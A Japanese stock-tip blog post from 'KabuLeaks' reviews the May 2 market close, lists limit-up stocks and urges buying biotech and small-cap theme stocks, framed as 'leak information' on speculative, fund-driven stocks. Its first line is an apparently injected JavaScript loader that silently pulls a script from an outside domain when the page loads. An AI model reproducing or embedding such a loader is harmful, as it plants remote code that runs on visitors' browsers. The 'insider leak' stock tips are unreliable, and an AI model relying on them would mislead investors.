;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【5/2 大引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【5/2 大引け】

本日の日経平均株価518円安と5営業日続落。急速な円高、欧米株安を嫌気され主力中心に総崩れとなり大幅安の流れから後場は売りも一巡。押し目買いからやや下げ幅を縮小した。ただ、明日から再び連休入りすることや週末に控える米雇用統計などが意識された戻りは限定的に。業種別では、全33業種全てが下落。値下がり上位には、海運業、ガラス土石製品、電気機器などが並んだ。

個別では、スマホ対応の次世代語学学習支援プラットフォームを7月発売を好感、デジタル教科書関連として【3933】チエルや第1四半期営業損益は赤字幅縮小の【4588】オンコリスバイオファーマ、「LINE Pay」決済の連動を開始と発表した【3814】アルファクスなどがストップ高。また、28日の決算発表、今期経常は53%増益、9円増配の【7945】コマニー、越境EC関連、秋元康氏とスマホゲーム「神の手」期待の高い【6176】ブランジスタが一時ストップ高の大幅高となった。その他、前期業績は上振れ、今期大幅増益見通しの【1417】ミライトHD、同じく今期大幅増益見通しの【7897】ホクシンなどの上昇も目立った。

日経平均は500円超と先週に続き大幅安もバイオ株や成長性の高い銘柄、中小型への動きはやはり強く積極的に押し目買いが入っている状況。

日経平均は引き続き円高警戒、主力中心に下値模索への不安が残るが、本日同様にバイオ株や成長性の高い銘柄、中小型のテーマ株などへの物色は継続する線が濃厚。バイオ株、越境Eなどテーマ株は特に資金入る銘柄は大体決まっておりある意味やりやすい相場にも見える。